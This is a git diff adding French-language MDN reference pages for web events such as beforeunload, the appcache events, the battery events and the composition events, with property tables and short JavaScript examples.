diff --git a/files/fr/web/events/beforeunload/index.html b/files/fr/web/events/beforeunload/index.html
new file mode 100644
index 0000000000..c0b22cfb83
--- /dev/null
+++ b/files/fr/web/events/beforeunload/index.html
@@ -0,0 +1,139 @@
+---
+title: beforeunload
+slug: Web/Events/beforeunload
+translation_of: Web/API/Window/beforeunload_event
+---
+<p>L'événement <strong><code>beforeunload</code></strong> est déclenché quand la fênetre, ou le document, et leurs resources sont sur le point d'être déchargés.</p>
+
+<p>Lorsqu'une chaîne de caractères est assignée à la propriété <code>returnValue</code> de {{domxref("Event")}}, une boîte de dialogue apparaît demandant confirmation avant de quitter la page (voir exemple plus bas). Certains navigateurs affichent la valeur retournée, alors que d'autres affichent leur propre message. Si aucune valeur n'est fournie, l'événement est traité silencieusement.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Afin d'éviter les "pop-ups" indésirables, les navigateurs peuvent ne pas afficher les alertes créées dans les gestionnaires <code>beforeunload</code>.</p>
+</div>
+
+<div class="warning">
+<p> Attacher un gestionnaire d'événement <code>beforeunload</code> à <code>window</code> ou à <code>document</code> empêche les navigateurs d'utiliser leur mémoire cache ; consulter <a href="https://developer.mozilla.org/fr/docs/Utilisation_du_cache_de_Firefox_1.5">Utilisation du cache de Firefox 1.5</a> ou <a href="https://webkit.org/blog/516/webkit-page-cache-ii-the-unload-event/">WebKit's Page Cache</a> (en anglais).</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Propagation</td>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <td>Annulable</td>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <td>Object cible</td>
+   <td>defaultView</td>
+  </tr>
+  <tr>
+   <td>Interface</td>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l'événement (la plus haute cible dans l'arbre du DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readOnlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Est-ce que l'événement se propage ?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readOnlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Est-il possible d'annuler l'événement ?</td>
+  </tr>
+  <tr>
+   <td><code>returnValue</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>La valeur de retour de l'événement (le message à afficher à l'utlisateur)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js;">window.addEventListener("beforeunload", function (event) {
+  event.returnValue = "\o/";
+});
+
+// est équivalent à
+window.addEventListener("beforeunload", function (event) {
+  event.preventDefault();
+});</pre>
+
+<p>Les navigateurs basés sur WebKit ne suivent pas les spécifications pour la boîte de dialogue. Un exemple pratiquement compatible entre les navigateurs serait à peu près comme suit:</p>
+
+<pre class="brush: js">window.addEventListener("beforeunload", function (e) {
+  var confirmationMessage = "\o/";
+
+  e.returnValue = confirmationMessage;     // Gecko, Trident, Chrome 34+
+  return confirmationMessage;              // Gecko, WebKit, Chrome &lt;34
+});</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Quand l'événement retourne une valeur non nulle, l'utilisateur est invité à confirmer le déchargement de la page. Dans la plupart des navigateurs, la valeur de retour de l'événement est affiché dans une boîte de dialogue. Dans Firefox 4 et plus, la chaine de caractères retournée n'est pas affiché à l'utilisateur. A la place, Firefox affiche "Cette page demande de confirmer sa fermeture ; des données saisies pourraient ne pas être enregistrées". Voir {{bug("588292")}}.</p>
+
+<p>Depuis le 25 Mai 2011, la spécification HTML5 indique ques les appels aux méthodes {{domxref("window.alert()")}}, {{domxref("window.confirm()")}} et {{domxref("window.prompt()")}} peuvent être ignorés durant l'événement. Voir <a href="http://www.w3.org/TR/html5/webappapis.html#user-prompts">specification HTML5 </a> pour plus de détails.</p>
+
+<p>Noter aussi que de nombreux navigateurs ignorent le résultat  de l'événement (il n'y a donc aucune demande de confirmation). Firefox a une préférence cachée dans <a>about:config</a> pour faire de même. <span id="result_box" lang="fr"><span>Essentiellement, cela signifie que l'utilisateur confirme toujours silencieusement</span></span><span lang="fr"><span> que le document peut être déchargé.</span></span></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Première définition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Event("DOMContentLoaded")}}</li>
+ <li>{{Event("readystatechange")}}</li>
+ <li>{{Event("load")}}</li>
+ <li>{{Event("unload")}}</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document" title="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document">Unloading Documents — Prompt to unload a document</a></li>
+ <li><a href="https://developers.google.com/web/updates/2016/04/chrome-51-deprecations?hl=en#remove_custom_messages_in_onbeforeload_dialogs">Enlever les messages personnalisés dans les boîtes de dialogues onbeforeload après Chrome 51</a></li>
+</ul>
diff --git a/files/fr/web/events/cached/index.html b/files/fr/web/events/cached/index.html
new file mode 100644
index 0000000000..eb0abd8d1f
--- /dev/null
+++ b/files/fr/web/events/cached/index.html
@@ -0,0 +1,82 @@
+---
+title: cached
+slug: Web/Events/cached
+translation_of: Archive/Events/cached
+---
+<p>L'événement <strong>cached</strong> est déclenché lorsque les resources <span id="result_box" lang="fr"><span>répertoriées dans le manifeste du cache de l'application ont été téléchargées et que l'application est maintenant mise en cache.</span></span></p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://html.spec.whatwg.org/multipage/browsers.html#offline">Offline</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">applicationCache</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Propriété</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>target</code> {{ReadOnlyInline}}</p>
+   </td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l'événement (la plus haute cible dans l'arbre du DOM).</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>type</code> {{ReadOnlyInline}}</p>
+   </td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>canBubble</code> {{ReadOnlyInline}}</p>
+   </td>
+   <td>boolean</td>
+   <td>Est-ce que l'événement se propage?</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>cancelable</code> {{ReadOnlyInline}}</p>
+   </td>
+   <td>boolean</td>
+   <td>Est-il possible d'annuler l'événement?</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("checking")}}</li>
+ <li>{{Event("noupdate")}}</li>
+ <li>{{Event("downloading")}}</li>
+ <li>{{Event("progress_(appcache_event)", "progress")}}</li>
+ <li>{{Event("cached")}}</li>
+ <li>{{Event("updateready")}}</li>
+ <li>{{Event("obsolete")}}</li>
+ <li>{{Event("error_(appcache_event)", "error")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Offline_resources_in_Firefox">Utilisation du cache d'application</a></li>
+</ul>
diff --git a/files/fr/web/events/chargingchange/index.html b/files/fr/web/events/chargingchange/index.html
new file mode 100644
index 0000000000..faf96a2b44
--- /dev/null
+++ b/files/fr/web/events/chargingchange/index.html
@@ -0,0 +1,63 @@
+---
+title: chargingchange
+slug: Web/Events/chargingchange
+translation_of: Archive/Events/chargingchange
+---
+<p>L'événement <code><strong>chargingchange</strong> est déclenché lorsque l'attribut <em>charging</em> de l'<a href="https://developer.mozilla.org/fr/docs/DOM/window.navigator.battery">API batterie</a> est modifié.</code></p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/battery-status/">Battery</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("BatteryManager")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<p>Le callback de l'événement ne reçoit aucun objet événement, mais les propriétés peuvent être lues à partir de l'objet {{domxref("BatteryManager")}} reçu par la méthode {{domxref("navigator.getBattery")}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>{{domxref("BatteryManager.charging")}} {{readOnlyInline}}</td>
+   <td>boolean</td>
+   <td>Etat de charge de la batterie du système. Retourne true si la batterie est en chargement. Si l'état de la batterie du système est non-déterminé, aucune batterie n'est rattachée au système ou si si la batterie se décharge, retourne false.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">navigator.getBattery().then(function(battery) {
+
+  console.log("Battery charging? " + (battery.charging ? "Yes" : "No"));
+
+  battery.addEventListener('chargingchange', function() {
+    console.log("Battery charging? " + (battery.charging ? "Yes" : "No"));
+  });
+
+});
+</pre>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("chargingtimechange")}}</li>
+ <li>{{Event("dischargingtimechange")}}</li>
+ <li>{{Event("levelchange")}}</li>
+</ul>
diff --git a/files/fr/web/events/chargingtimechange/index.html b/files/fr/web/events/chargingtimechange/index.html
new file mode 100644
index 0000000000..da83eed90c
--- /dev/null
+++ b/files/fr/web/events/chargingtimechange/index.html
@@ -0,0 +1,63 @@
+---
+title: chargingtimechange
+slug: Web/Events/chargingtimechange
+translation_of: Archive/Events/chargingtimechange
+---
+<p>L'événement <strong>chargingtimechange</strong> est déclenché quand l'attribut <em>chargingTime</em> de l'<a href="/fr/docs/DOM/window.navigator.battery">API batterie</a> a été modifié.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/battery-status/">Battery</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("BatteryManager")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<p>Le callback de l'événement ne reçoit aucun objet événement, mais les propriétés peuvent être lues à partir de l'objet {{domxref("BatteryManager")}} reçu par la méthode {{domxref("navigator.getBattery")}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>{{domxref("BatteryManager.chargingTime")}} {{readOnlyInline}}</td>
+   <td>double (float)</td>
+   <td>Le temps restant en seconde jusqu'à ce que la batterie du système soit pleine. Retourne 0 si la batterie est chargée. Retourne l'infini positif si la batterie se décharge ou si l'implémentation est incapable de trouver le temps restant de charge.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">navigator.getBattery().then(function(battery) {
+
+  console.log("Battery charging time: " + battery.chargingTime + " seconds");
+
+  battery.addEventListener('chargingtimechange', function() {
+    console.log("Battery charging time: " + battery.chargingTime + " seconds");
+  });
+
+});
+</pre>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("chargingchange")}}</li>
+ <li>{{Event("dischargingtimechange")}}</li>
+ <li>{{Event("levelchange")}}</li>
+</ul>
diff --git a/files/fr/web/events/checking/index.html b/files/fr/web/events/checking/index.html
new file mode 100644
index 0000000000..4260ed04cf
--- /dev/null
+++ b/files/fr/web/events/checking/index.html
@@ -0,0 +1,74 @@
+---
+title: checking
+slug: Web/Events/checking
+translation_of: Archive/Events/checking
+---
+<p>L'événement checking est déclenché lorsque le user agent recherche une mise à jour ou tente de télécharger le manifeste de cache pour la première fois</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://html.spec.whatwg.org/multipage/browsers.html#offline">Offline</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">applicationCache</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>target </code>{{ReadOnlyInline}}</td>
+   <td>EventTarget (DOM element)</td>
+   <td>La cible de l'événement (la plus haute cible dans l'arbre du DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type </code>{{ReadOnlyInline}}</td>
+   <td>string</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>canBubble </code>{{ReadOnlyInline}}</td>
+   <td>boolean</td>
+   <td>Est-ce que l'événement se propage?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable </code>{{ReadOnlyInline}}</td>
+   <td>boolean</td>
+   <td>Est-il possible d'annuler l'événement?</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("checking")}}</li>
+ <li>{{Event("noupdate")}}</li>
+ <li>{{Event("downloading")}}</li>
+ <li>{{Event("progress_(appcache_event)", "progress")}}</li>
+ <li>{{Event("cached")}}</li>
+ <li>{{Event("updateready")}}</li>
+ <li>{{Event("obsolete")}}</li>
+ <li>{{Event("error_(appcache_event)", "error")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Offline_resources_in_Firefox">Utiliser Application Cache</a></li>
+</ul>
diff --git a/files/fr/web/events/complete/index.html b/files/fr/web/events/complete/index.html
new file mode 100644
index 0000000000..5e3b264f1c
--- /dev/null
+++ b/files/fr/web/events/complete/index.html
@@ -0,0 +1,91 @@
+---
+title: complete
+slug: Web/Events/complete
+translation_of: Web/API/OfflineAudioContext/complete_event
+---
+<div>
+<p>L'événement <strong>complete</strong> est déclenché lorsque le rendu d'un {{domxref("OfflineAudioContext")}} est terminé.</p>
+</div>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;">{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("OfflineAudioCompletionEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">?</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">?</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("OfflineAudioContext")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>renderedBuffer</code> {{readonlyInline}}</td>
+   <td>{{domxref("AudioBuffer")}}</td>
+   <td>The buffer containing the result of the processing of an {{domxref("OfflineAudioContext")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<p><em>Aucun</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API" title="/en-US/docs/CSS/Using_CSS_animations">Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/events/compositionend/index.html b/files/fr/web/events/compositionend/index.html
new file mode 100644
index 0000000000..8a15ab679a
--- /dev/null
+++ b/files/fr/web/events/compositionend/index.html
@@ -0,0 +1,131 @@
+---
+title: compositionend
+slug: Web/Events/compositionend
+translation_of: Web/API/Element/compositionend_event
+---
+<p>L'événement <strong><code>compositionend</code></strong> est déclenché lorsque la composition d'un texte via {{glossary("input method editor", "méthode de saisie")}} est terminée ou annulée (démarre avec des caractères spéciaux qui requièrent une séquence de touches et d'autres entrées telles que la reconnaissance vocale ou la suggestion de mot sur mobile).</p>
+
+<p>Par exemple, cette événement pourrait être déclanché quand un utilisateur saisie un caractère chinois en utilisant la méthode de saisie <a href="https://en.wikipedia.org/wiki/Pinyin">Pinyin</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Se propage/remonte dans le DOM</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("CompositionEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété pour la gestion d'évènement</th>
+   <td>Aucune</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Html">Html</h3>
+
+<pre class="brush: html notranslate">&lt;div class="control"&gt;
+  &lt;label for="name"&gt;Sur macOS, cliquez sur la boîte de texte,&lt;br&gt; puis appuyez sur &lt;kbd&gt;option&lt;/kbd&gt; + &lt;kbd&gt;`&lt;/kbd&gt;, puis &lt;kbd&gt;a&lt;/kbd&gt;:&lt;/label&gt;
+  &lt;input type="text" id="example" name="example"&gt;
+&lt;/div&gt;
+
+&lt;div class="event-log"&gt;
+  &lt;label&gt;Log d'événement:&lt;/label&gt;
+  &lt;textarea readonly class="event-log-contents" rows="8" cols="25"&gt;&lt;/textarea&gt;
+  &lt;button class="clear-log"&gt;Effacer&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<div class="hidden">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">body {
+  padding: .2rem;
+  display: grid;
+  grid-template-areas: "control  log";
+}
+
+.control {
+  grid-area: control;
+}
+
+.event-log {
+  grid-area: log;
+}
+
+.event-log-contents {
+  resize: none;
+}
+
+label, button {
+  display: block;
+}
+
+input[type="text"] {
+  margin: .5rem 0;
+}
+
+kbd {
+  border-radius: 3px;
+  padding: 1px 2px 0;
+  border: 1px solid black;
+}
+</pre>
+</div>
+
+<h3 id="JS">JS</h3>
+
+<pre class="brush: js notranslate">const inputElement = document.querySelector('input[type="text"]');
+const log = document.querySelector('.event-log-contents');
+const clearLog = document.querySelector('.clear-log');
+
+clearLog.addEventListener('click', () =&gt; {
+    log.textContent = '';
+});
+
+function handleEvent(event) {
+    log.textContent = log.textContent + `${event.type}: ${event.data}\n`;
+}
+
+inputElement.addEventListener('compositionstart', handleEvent);
+inputElement.addEventListener('compositionupdate', handleEvent);
+inputElement.addEventListener('compositionend', handleEvent);</pre>
+
+<h3 id="Resultat">Resultat</h3>
+
+<p>{{ EmbedLiveSample('Exemple', '100%', '180px') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-compositionend')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateurs">Compatibilités navigateurs</h2>
+
+<p>{{Compat("api.Element.compositionend_event")}}</p>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("compositionstart")}}</li>
+ <li>{{Event("compositionupdate")}}</li>
+</ul>
diff --git a/files/fr/web/events/compositionstart/index.html b/files/fr/web/events/compositionstart/index.html
new file mode 100644
index 0000000000..8b72ed5d31
--- /dev/null
+++ b/files/fr/web/events/compositionstart/index.html
@@ -0,0 +1,146 @@
+---
+title: compositionstart
+slug: Web/Events/compositionstart
+translation_of: Web/API/Element/compositionstart_event
+---
+<p>L'événement <strong><code>compositionstart </code></strong><code>est déclenché lorsque la composition d'un passage de texte est préparée (similaire à keydown pour une entrée clavier, mais démarre avec des caractères spéciaux qui nécessitent une sequence de touches et d'autres entrées telles que la reconnaissance vocale ou la suggestion de mots du mobile). </code></p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("TouchEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Elément ayant le focus qui traite la composition</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-ce qu'il se propage?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Peut-il être annulé?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("WindowProxy")}}</td>
+   <td>{{domxref("Document.defaultView")}} (fenêtre du document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{ReadOnlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>data </code>{{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>
+    <p>La chaîne de caractères originale éditée ou une chaîne vide.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>locale </code>{{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>Le code de la langue pour l'événement de composition si disponible; Sinon une chaîne vide.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("9.0")}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La valeur de l'attribut <em>data</em> est fausse</p>
+
+<p>[2] L'événement a été déclenché dans les versions de Gecko antérieures à la 9.0, mais n'avait pas les attributs et les méthodes DOM Level 3.</p>
+
+<p>Gecko ne supporte pas l'attribut <em>local</em>e pour les événements approuvés pour l'instant. Cependant, cette valeur peut être définie via <code><a href="/fr/docs/Web/API/CompositionEvent#initCompositionEvent()">initCompositionEvent()</a> à la création d'événements non-approuvés.</code></p>
+
+<p>Selon la spécification DOM Level3, <strong>compositionstart</strong> est annulable; Cependant, Gecko ne vous laisse pas l' annuler.</p>
+
